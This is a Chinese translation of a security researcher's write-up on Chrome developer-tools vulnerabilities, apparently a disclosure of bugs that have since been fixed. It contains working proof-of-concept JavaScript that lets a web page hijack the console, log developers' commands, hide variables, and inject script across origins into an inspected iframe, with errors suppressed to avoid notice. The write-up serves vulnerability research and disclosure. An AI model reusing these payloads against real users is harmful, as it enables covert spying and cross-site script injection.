Google Chrome 開發者工具漏洞利用
原文連結:http://www.hydrantlabs.org/Security/Google/Chrome/
0x00 引言
故事起源於 Chromium 原始碼里名為 InjectedScriptSource.js 的檔案,這個檔案負責控制檯中的命令執行。也許很多人都會這麼說:
【Wait!為什麼是 JavaScript 在負責命令執行,Chromium/Chrome 不是用 C++編寫的麼?】
沒錯.Chromium/Chrome 的絕大部分確實不是用 javascript 編寫的,但是 devtools 實際上都是一些網頁。作為簡單的證明,你可以嘗試在瀏覽器裡訪問下面的 URL,可以看到它和console 擁有完全相同的構造。
chrome-devtools://devtools/bundled/devtools.html
好吧,我承認開始有點跑題了。讓我們回到原來的問題。在檔案InjectedScriptSource.js的624行左右,在名為_evaluateOn的函式里,我們可以看到這樣的一段程式碼:
#!javascript
prefix = "with ((console && console._commandLineAPI) || { __proto__: null }) {";
suffix = "}";
// *snip*
expression = prefix + "\n" + expression + "\n" + suffix;
這是個相當重要的函式,因為一些特殊的函式,比如:copy('String to Clip Board') 和 clear()都被加到了這裡。然而這些函式都是類CommandLineAPI的成員。
0x01 漏洞 1
一切都將從這裡變得有趣。因為我有個想法,可以把ECMAScript 5裡的Getters和Setters 利用起來。因為開發者工具總是會在使用者輸入命令時試圖給使用者一些命令補全的建議。透過開發者工具的這個特點,我們就可以使用Getters和Setters來構造一個函式,實現在使用者輸入命令的過程當中就去執行使用者的輸入。這意味著在使用者按下Enter之前命令就已經被執行了。
#!javascript
Object.defineProperty(console, '_commandLineAPI', {
get: function () {
console.log('A command was run');
}
});
0x02 簡單禁用控制檯訪問
這裡使用的思路和 FaceBook 是差不多的。
#!javascript
Object.defineProperty(console, '_commandLineAPI', {
get: function () {
throw 'Console Disabled';
}
});
如同你看到的,我們只要在_commandLineAPI 被檢索時,丟擲異常就可以簡單的禁用控制檯的命令執行。
0x03 引言 II
在開始講解更為有趣的內容之前,我覺得我們有必要先停一下腳步,再來談談JavaScript的話題。讓我們先來看看下面的例子:
#!javascript
function argCounter() {
console.log('This function was run with ' + arguments.length + ' arguments.');
}
argCounter(); // 0
argCounter('Hello', 'World') // 2
argCounter(1, 2, 4, 8, 16, 32, 64)
就如大家知道的,這裡的arguments實際上並不是一個陣列,而是一個物件。這也是為什麼很多人會用下面的方法來將物件轉換為傳統的陣列:
#!javascript
var args = Array.prototype.slice.call(arguments)
其中的一個原因是,object有一些保留欄位,比如:callee。在這裡我們可以給出一個示例:
#!javascript
// Traverse an object looking for the 'World' key value
var traverse = function(obj) {
// Loop each key
for (var index in obj) {
// If another object
if (typeof obj[index] === 'object') {
// Recursion yay!
arguments.callee(obj[index]);
}
// If matching
if (index === 'World') {
console.log('Found world: ' + obj[index]);
}
}
};
// Call traverse on our object
traverse({
'Nested': {
'Hello': {
'World': 'Earth'
}
}
});
我想這方面的內容應該是比較罕見的。但是說到罕見,可能對arguments.callee.caller有所理解的人,相對來說會更少一些吧。它允許指令碼引用呼叫它的函式。可以說它的實際效用並不大,但我還是嘗試著寫了一個例子:
#!javascript
// Print the ID of the caller of this function
function call_Jim() {
// Get the calling function name without the call_Jim_as part
return 'Hi ' + arguments.callee.caller.name.substring('call_Jim_as_'.length) + '!';
}
// Call Jim as John
function call_Jim_as_John() {
return call_Jim();
}
// Call Jim as Luke
function call_Jim_as_Luke() {
return call_Jim();
}
// Test cases
call_Jim_as_John(); // 'Hi John!'
call_Jim_as_Luke(); // 'Hi Luke!'
0x04 漏洞 II
我們的第二個漏洞將會使用之前提到的arguments.callee.caller。當一個沒有父函式的函式在standard context 中被執行時,arguments.callee.calle就會變成null。在這裡有一個有趣的現象。當指令碼在開發者工具的console裡執行的時候,呼叫的函式是在本文開頭說的_evaluate0n函式而並未是所期待的null。如果我們嘗試著在控制檯輸入下面的命令,控制檯就會dump出_evaluateOn函式的原始碼:
#!javascript
(function () {
return arguments.callee.caller;
})();
也許你會說: 這看上去是挺嚴重的,但是這和第一個漏洞有什麼關係?先不說有什麼關係,就算會把原始碼dump出來又怎樣呢? 現在就讓我們把它和第一個漏洞關聯起來。設想一下如果使用者試圖把下面的程式碼貼上到console裡會發生什麼?
#!javascript
Object.defineProperty(console, '_commandLineAPI', {
get: function () {
console.log(arguments.callee.caller);
}
});
就如同你所看到的,這段程式碼意味著只要使用者試圖在控制檯中進行任何的輸入,就會把devtools的原始碼dump出來。問題又來了,也許你會問:
那又如何?我完全可以去官網線上閱讀這些原始碼!
我想問題的重點在arguments.callee.caller.arguments.這意味著?對!這意味著我們的一些邪惡的程式碼(來自一些不被信任的站點)可以訪問開發者工具的一些變數和物件,在編寫這個exploit之前我們先看一下,我們可以透過一個簡單的頁面都可以幹一些什麼:
#!javascript
<script>
Object.defineProperty(console, '_commandLineAPI', {
get: function () {
console.log(arguments.callee.caller.arguments[2]);
}
});
</script>
現在讓我們試著執行alert(1),並觀察結果:
0: function evaluate() { [native code] }
1: InjectedScriptHost
2: "console"
3: "with ((console && console._commandLineAPI) || {}) {↵alert(1)↵}"
4: false
5: true
看一下第二個引數(InjectedScriptHost)。你可以透過這個連結來閱讀更多的細節InjectedScriptExterns.js。把精力集中在其中幾個重要的函式當中。
clearConsoleMessages - 清空控制檯並刪除回溯
InjectedScriptHost.clearConsoleMessages();
functionDetails - 返回函式的相關細節
// Create a function with a bound this
InjectedScriptHost.functionDetails(func);
inspect - 檢查DOM物件,不會切換到inspect tab
// Inspect the body node
InjectedScriptHost.inspect(document.body);
inspectedObject - 從DOM物件檢查歷史中取回物件
// Get the first inspected object
InjectedScriptHost.inspectedObject(0);
0x05 禁用控制檯訪問進階篇
現在讓我們試著寫一個更完善的控制檯訪問禁用指令碼出來。這次我不希望再看到那些讓人噁心的紅色錯誤提示了。讓我們從“當使用者在控制檯輸入命令時會發生一些什麼”開始吧。函式_evaluateOn會透過一些引數:
#!javascript
evalFunction: function evaluate() { [native code] }
object: InjectedScriptHost
objectGroup: 'console'
expression: 'alert(1)'
isEvalOnCallFrame: false
injectCommandLineAPI: true
然後執行下面的程式碼:
#!javascript
var prefix = "";
var suffix = "";
if (injectCommandLineAPI && inspectedWindow.console) {
inspectedWindow.console._commandLineAPI = new CommandLineAPI(this._commandLineAPIImpl, isEvalOnCallFrame ? object : null);
prefix = "with ((console && console._commandLineAPI) || { __proto__: null }) {";
suffix = "}";
}
if (prefix)
expression = prefix + "\n" + expression + "\n" + suffix;
var result = evalFunction.call(object, expression);
檢視一下evalFunction我們會發現它只是InjectedScriptHost.evaluate。這樣一來,我們似乎是沒有辦法來完成這個任務了。wait!也許我們可以增加一個setter.用下面的程式碼我們就可以達到在不報錯的情況下實現控制檯命令執行的禁用了。
#!javascript
// First run
var run = false;
// On console command run
Object.defineProperty(console, '_commandLineAPI', {
get: function () {
// Only run once
if (!run) {
run = true;
// Get the InjectedScriptHost
var InjectedScriptHost = arguments.callee.caller.arguments[1];
// On evaluate
Object.defineProperty(InjectedScriptHost, 'evaluate', {
get: function () {
// Return a alternate evaluate function
return function() {
return "The console has been disabled";
}
}
});
}
}
});
0x06 控制檯日誌記錄
我想你大概猜到之前搞了那麼多,並不只是為了編寫一個不會報錯的指令碼。讓我們來找一些樂子。讓我們編寫一個可以讓命令和預期一樣正常執行並能記錄所有的命令和執行結果的指令碼。這裡是我的POC:
#!javascript
// First run
var run = false;
// Save the command line api
var _commandLineAPI = null;
// On console command run
Object.defineProperty(console, '_commandLineAPI', {
get: function () {
// Only run once
if (!run) {
run = true;
// Get the InjectedScriptHost
var InjectedScriptHost = arguments.callee.caller.arguments[1];
// On evaluate
Object.defineProperty(InjectedScriptHost, 'evaluate', {
get: function () {
// Return a alternate evaluate function
return function(command) {
// Get the commands split
var commands = command.split("\n");
// Execute the real evaluate function
var result = InjectedScriptHost.__proto__.evaluate.apply(this, arguments);
// Ignore suggustion executions for now
if (commands.length <= 1 || (result && result.name === 'getCompletions')) {
return result;
}
// Remove the first "with..." and last "}" lines
command = commands.slice(1, -1).join("\n");
// Next step to ignore suggustion checks
if (command.trim() === 'this') {
return result;
}
// Log the command and result (tries to lazily parse to a string for now)
document.write("Attempted Command:<br /><pre>" + command + "</pre>");
document.write("Command Result:<br /><pre>" + result + "</pre><hr />");
// Return the result
return result;
}
}
});
}
// Return the actual command line api
return _commandLineAPI;
},
set: function(value) {
// Copy the value
_commandLineAPI = value;
}
});
0x07 控制檯檢查
記錄控制檯命令確實挺有趣的。但是讓我們看看能不能不透過檢視原始碼的方式來訪問變數(這個方法還並不完美,但是可以讓你理解我們可以做到一些什麼)
#!javascript
// Add our secret key and value
window.secret = 'Top secret key here';
// First run
var run = false;
// Save the command line api
var _commandLineAPI = null;
// On console command run
Object.defineProperty(console, '_commandLineAPI', {
get: function () {
// Only run once
if (!run) {
run = true;
// Get the InjectedScriptHost
var InjectedScriptHost = arguments.callee.caller.arguments[1];
// On evaluate
Object.defineProperty(InjectedScriptHost, 'evaluate', {
get: function () {
// Return a alternate evaluate function
return function(command) {
// Execute the real evaluate function
var result = InjectedScriptHost.__proto__.evaluate.apply(this, arguments);
// When the command was a attempt to access the completions
if (result && result.name === 'getCompletions') {
// Return a new completions function
return function() {
// Get the completions
var completions = result.apply(this, arguments);
// Remove the secret completion
delete completions.secret;
// Return the modified values
return completions;
}
}
// If the result is our secret value
if (result === window.secret) {
return undefined;
}
// Return the result
return result;
}
}
});
}
// Return the actual command line api
return _commandLineAPI;
},
set: function(value) {
// Copy the value
_commandLineAPI = value;
}
});
0x08 通用的跨站指令碼攻擊
現在讓我們來討論一下這個已經被修復的漏洞。這個漏洞可以在一些使用者互動的基礎上將惡意站點的A內的指令碼或頁面植入到站點B當中。它的工作原理很簡單。當使用者審查元素時,它會被加入到歷史陣列裡。使用者可以透過console.$0來訪問它。但是遺憾的是,如果它已經透過別的域名被執行,我們就無法訪問它。如果想要真正的利用這個exploit,我們至少需要使用者右鍵點選這個iframe,開啟控制檯並輸入命令。
我想會有很多社工性質的方法可以讓我們去引導使用者去完成這一系列的操作。當然我個人認為最有效的方法就是什麼都不要去做,而是等待開發者自己攻擊自己。我也做了一個POC來證明,這一切的可行性。如果完成上述的操作要求來,不出意外alert(document.domain)應該會被執行。
#!javascript
// On console command run
Object.defineProperty(console, '_commandLineAPI', {
get: function () {
// Save a reference to the InjectedScriptHost globally
window.InjectedScriptHost = arguments.callee.caller.arguments[1];
// Get the injectedScript object
window.injectedScript = InjectedScriptHost.functionDetails(arguments.callee.caller.arguments.callee).rawScopes[0].object.injectedScript;
// Trigger another inspect (not sure why this helps but it does)
injectedScript._inspect(document.getElementById('hacks'));
// Keep checking if an element has been inspected every 10th of a second
var check = function() {
// Hide any errors on the console to keep people unaware
try {
// Get the first inspected object
var el = injectedScript._commandLineAPIImpl._inspectedObject(1);
// Loop until no more parents
while (el.parentNode) { el = el.parentNode; }
// If the element is not the current page
if (el.URL !== window.location.href) {
// Stop checking
clearInterval(check);
// Create the script element
var script = document.createElement('script');
script.type = 'text/javascript';
script.innerHTML = "alert(document.domain)";
// Add the script to the frame
el.getElementsByTagName('head')[0].appendChild(script);
}
} catch (e) {}
};
// Return the orginal evaluate function
return InjectedScriptHost.__proto__.evaluate;
}
});
就如我之前說的那樣,[email protected]個漏洞或者補丁感興趣,可以點選這裡here.
0x09 最後
也許你應該留意一下InjectedScriptHost.functionDetails的用法。因為它是很強大的函式。這裡是個比較常見的使用例 :
#!javascript
// Add another scope
with ({
'test': true
}) {
var func = function() {}
}
// Log the details
console.log(InjectedScriptHost.functionDetails(func));
上面的命令將會返回如下的結果:
{
location: {
columnNumber: 14,
lineNumber: 4,
scriptId: "1262"
},
name: "func",
rawScopes: [
{
object: {
test: true
},
type: 2
}, {
object: { },
type: 2
}, {
object: [object Window],
type: 3
}
]
}
就如同你看到的它是一支強大的潛力股,尤其是它被應用到一些內部函式時。舉個例子,如果我們把它應用到_evaluateOn函式上,我們將得到如下的結果:
{
inferredName: "InjectedScript._evaluateOn",
location: {
columnNumber: 25,
lineNumber: 591,
scriptId: "1417"
},
rawScopes: [
{
object: {
CommandLineAPI: function CommandLineAPI(commandLineAPIImpl, callFrame)
InjectedScript: function ()
InjectedScriptHost: InjectedScriptHost
Object: function Object() { [native code] }
bind: function bind(func, thisObject, var_args)
injectedScript: InjectedScript
injectedScriptId: 58
inspectedWindow: Window
slice: function slice(array, index)
toString: function toString(obj)
},
type: 3
}, {
object: [object Window],
type: 0
}
]
}
我寫了一個函式,可以幫助我們快速發現和列出一些具有潛在價值的函式(作用域非當前視窗)
#!javascript
// Run via console as `listScopes();`
function listScopes() {
// Total results
var results = 0;
// Ignore these because they are cyclical
var cyclical = [
'window.top',
'window.window',
'window.clientInformation.mimeTypes',
'window.clientInformation.plugins',
'window.console._commandLineAPI.$_',
'func[0].object.inspectedWindow',
'func[1].object'
];
// Element that have been chacked already
var checked = [];
// Save a reference to the InjectedScriptHost globally
var InjectedScriptHost = arguments.callee.caller.arguments[1];
// Get the scope of a function
window.scope = function(func, i) {
return InjectedScriptHost.functionDetails(func).rawScopes[i].object;
}
// Check the scopes of an object
function checkScopes(current_name, obj) {
// Loop each key
for (var index in obj) {
// If the var has not been checked
if (checked.indexOf(obj[index]) === -1) {
checked.push(obj[index]);
var name = current_name;
if (isNaN(index)) {
name = name + '.' + index;
} else {
name = name + '[' + index + ']';
}
// If not cyclical
if (cyclical.indexOf(name) === -1) {
// If an array or object
if (typeof obj[index] === 'object') {
// Yay recursion
checkScopes(name, obj[index]);
}
}
if (typeof obj[index] === 'function') {
// Get the scopes
var scopes = InjectedScriptHost.functionDetails(obj[index]).rawScopes;
// Don't index our scopes function
if (obj[index] !== window.scope) {
// Loop each scope
for (var i in scopes) {
// If it's not a window
if (InjectedScriptHost.internalConstructorName(scopes[i].object) !== 'Window') {
name = 'scope(' + name + ', ' + i + ')';
// Add the path
console.log(name);
results++;
// Recursion again
checkScopes(name, scopes[i].object);
}
}
}
}
}
}
}
// Check all known objects
checkScopes('window', window);
window.args = arguments.callee.caller.arguments;
checkScopes('args', args);
window.func = InjectedScriptHost.functionDetails(arguments.callee.caller).rawScopes;
checkScopes('func', func);
// Return
return "Searching finished, found " + results + " results.";
};
你可以透過 listScopes() 來在控制檯執行它。也許還有一些BUG需要在日後解決。但是我覺得這依然是個不錯的方法。
相關文章
- chrome開發者工具2017-05-02Chrome
- chrome開發者工具使用2019-03-30Chrome
- chrome開發者工具的使用2019-03-14Chrome
- chrome開發者工具 - 00 概述2022-01-06Chrome
- chrome 開發者工具使用技巧2015-10-21Chrome
- Chrome 開發者工具的技巧2015-11-10Chrome
- 深入探索Chrome開發者工具:開發者的利器2024-06-12Chrome
- 利用 Chrome 開發者工具遠端除錯 Android 中的原生 WebView2017-05-03Chrome除錯AndroidWebView
- Chrome 72 開發者工具新特性2019-03-04Chrome
- Chrome 77 開發者工具新特性2019-07-28Chrome
- Chrome 開發者工具 workspace 的概念2021-09-26Chrome
- Jerry和您聊聊Chrome開發者工具2018-04-16Chrome
- Chrome開發者工具的小技巧2017-01-22Chrome
- Chrome 自帶開發者工具筆記2019-09-18Chrome筆記
- Chrome開發者工具Debug入門2019-02-28Chrome
- [譯] Chrome 73 開發者工具新特性2019-01-24Chrome
- chrome開發者工具各種騷技巧2018-05-11Chrome
- 漏洞利用查詢工具sandi2017-11-14
- 利用Postman和Chrome的開發者功能探究專案2020-12-01PostmanChrome
- Chrome 66 開發者工具新特性介紹2018-02-28Chrome
- Chrome 開發者工具的小技巧總結2017-01-20Chrome
- google chrome2018-06-07GoChrome
- 利用DNS Zone Transfers漏洞工具dnswalk2017-01-03DNS
- chrome 開發者工具——前端實用功能總結2020-11-18Chrome前端
- Chrome 開發者工具裡的 CSS grid editor2021-10-02ChromeCSS
- Chrome 開發者工具 performance 標籤頁的用法2021-10-13ChromeORM
- Selenium系列教程-02 使用Chrome開發者工具2018-05-30Chrome
- Chrome開發者工具詳解(4):Profiles皮膚2016-11-27Chrome
- 用Chrome開發者工具除錯一切2015-04-02Chrome除錯
- Chrome開發者工具之JavaScript記憶體分析2015-03-15ChromeJavaScript記憶體
- 如何更專業的使用Chrome開發者工具2015-09-20Chrome
- 使用Chrome 開發者工具提取對應的字串2024-05-22Chrome字串
- Chrome開發者工具裡的一個隱藏技能:chrome://net-internals2020-07-11Chrome
- chrome 開發者工具使用教程-01-element皮膚2022-01-13Chrome
- 使用 Chrome 開發者工具分析記憶體問題2021-10-03Chrome記憶體
- Chrome開發者工具詳解(2):Network皮膚2016-11-24Chrome
- Chrome開發者工具中Elements(元素)斷點的用途2018-04-24Chrome斷點
- Chrome開發者工具不完全指南:(三、效能篇)2015-06-29Chrome